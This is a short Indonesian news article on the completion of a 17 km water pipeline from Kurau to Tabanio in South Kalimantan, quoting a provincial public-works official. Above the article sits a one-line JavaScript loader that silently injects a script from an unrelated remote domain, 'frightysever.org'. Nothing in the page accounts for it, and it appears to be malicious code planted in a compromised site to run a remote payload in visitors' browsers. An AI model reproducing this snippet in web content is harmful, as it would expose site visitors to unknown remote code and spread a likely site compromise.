(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Pembangunan JDU Kurau Selesai, Suplai Air Bersih Meningkat

KANALKALIMANTAN.COM, BANJARBARU – Pengembangan Jaringan Distribusi Utama (JDU) atau pipa air dari Kecamatan Kurau ke Desa Tabanio Kabupaten Tanahlaut telah diselesaikan oleh Pemerintah Provinsi Kalimantan Selatan (Kalsel) pada akhir 2023.

Dalam kontrak yang telah selesai pada 15 Desember 2023, pemasangan pipa air sepanjang 17 kilometer dimulai dari booster Kurau menuju riser power pipa Tabanio dengan kapasitas 1.000 meter kubik dan menghabiskan anggaran sebesar Rp 38 miliar lebih.

Menurut Kepala Dinas PUPR Kalsel Ahmad Solhan melalui Kepala Seksi Penyehatan Lingkungan Permukiman dan Air Minum, Angga Rinaldi Rizal, pipa air baru ini diharapkan dapat meningkatkan suplai air bersih di wilayah tersebut dan menciptakan ketersediaan air yang lebih optimal.

“Pengembangan jaringan distribusi utama ini merupakan suatu perangkat vital yang dibutuhkan oleh masyarakat Tanahlaut guna memenuhi kebutuhan akan pasokan air yang sehat dan aman,” kata Angga, Selasa (2/1/2024).

Pengembangan Jaringan Distribusi Utama (JDU) atau pipa air dari Kecamatan Kurau ke Desa Tabanio Kabupaten Tanahlaut oleh Pemprov Kalsel. Foto: MC Kalsel

Oleh karena itu, lanjut dia, pengembangan jaringan distribusi utama air menjadi salah satu langkah progresif dalam persiapan masyarakat Kalsel untuk menuju keterjangkauan air bersih dan sehat.

Selain itu juga pada 2024 pihaknya akan kembali membangun jaringan distribusi utama (JDU) atau pipa air ke Kabupaten Barito Kuala dari Desa Sungaipinang ke Kecamatan Tabunganen.

“Dengan ketersediaan air yang lebih optimal, diharapkan masyarakat dapat hidup lebih baik dan sehat serta dapat berkontribusi dalam pembangunan daerah mereka,” ujar dia. (Kanalkalimantan.com/MCKalsel/kk)

Reporter: kk
Editor: Dhani